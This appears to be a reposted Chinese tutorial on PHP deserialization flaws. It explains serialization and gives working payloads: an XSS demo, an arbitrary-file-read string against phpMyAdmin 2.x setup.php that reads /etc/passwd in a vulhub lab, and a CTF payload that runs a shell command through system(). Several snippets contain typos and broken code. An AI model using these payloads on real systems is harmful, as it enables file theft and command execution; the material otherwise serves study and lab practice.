PHP反序列化漏洞復現


一、原理

PHP序列化與反序列化介紹

1、什么是序列化與反序列化

序列化 (Serialization)是將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。以后,可以通過從存儲區中讀取或反序列化對象的狀態,重新創建該對象。
通俗的說,就是將數據轉化成一種可逆的數據結構。
反序列化(UnSerialization)將序列化的過程逆向就叫做反序列化。

舉例:
現在我們都會在淘寶上買桌子,桌子這種很不規則的東西,該怎么從一個城市運輸到另一個城市?這時候一般都會把它拆卸成板子,再裝到箱子里面,然后就可以快遞出去,這個過程就類似我們的序列化的過程(將數據對象的狀態信息轉化為可以存儲或者傳輸的格式)。當買家收到貨后,就需要自己把這些板子組裝成桌子,這個過程就類似反序列的過程(轉化成當初的數據對象)。

2、序列化的目的
方便數據的傳輸和存儲。

3、常見的序列化格式

  • 二進制格式
  • 字節數組
  • json字符串
  • xml字符串

序列化與反序列化PHP代碼介紹

1、PHP serialize() 序列化函數
定義介紹見鏈接:
https://www.w3cschool.cn/php/php-serialize_info.html
2、代碼演示

<?php
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
?>

  • a(array):number;
    a代表數組,number代表數組個數

  • s(string):number:value;
    s代表字符串,number代表字符串長度,value代表字符串的值

  • i(int):number;
    i代表整型,number代表整數長度

  • O(object):number:name;
    O代表對象,name代表對象名稱,number代表對象個數

3、PHP unserialize() 反序列化函數
定義介紹見鏈接:
https://www.cnblogs.com/junyi-bk/p/11631685.html
4、代碼演示

<?php
//序列化
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
//反序列化
$b = unserialize($a);
//var_dump輸出變量信息
var_dump($b);
?>

二、PHP反序列化demo復現

1、服務器demo.php寫入php代碼,如下:

<?php
$a = $_GET['test'];
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>

2、創建payload

class a{public $target='<script>alert(1)</script>';}
$a = serialize(new A);
echo $a
//O:1:"b":1:{s:6:"target";s:25:"<script>alert(1)</script>";}

3、訪問demo.php?test=O:1:"b":1:{s:6:"target";s:25:"";}

三、WooYun-2016-199433漏洞復現

漏洞描述

phpmyadmin scripts/setup.php 頁面存在反序列化漏洞,phpmyadmin 2.x版本中存在一處反序列化漏洞,攻擊者可以讀取任意文件。

漏洞環境搭建

1、進入vulhub-master的phpmyadmin/WooYun-2016-199433目錄下
2、docker啟動環境

dcoker-compose up -d

漏洞復現

1、瀏覽器訪問http://192.168.2.147:8080/scripts/setup.php

2、輸入payload抓包漏洞復現,讀取任意文件

//payload
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

四、[網鼎杯2020朱雀組]PHP反序列化

1、抓包發現可以傳遞參數和函數

2、可以用file_get_contents函數讀取index.php網頁源代碼

//讀取flag的pyaload
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";}

詳情見參考鏈接:
https://www.cnblogs.com/vege/p/12907941.html

聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !

參考鏈接

cnblogs-實戰經驗丨PHP反序列化漏洞總結
cnblogs-php 序列化和反序列化的作用及使用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM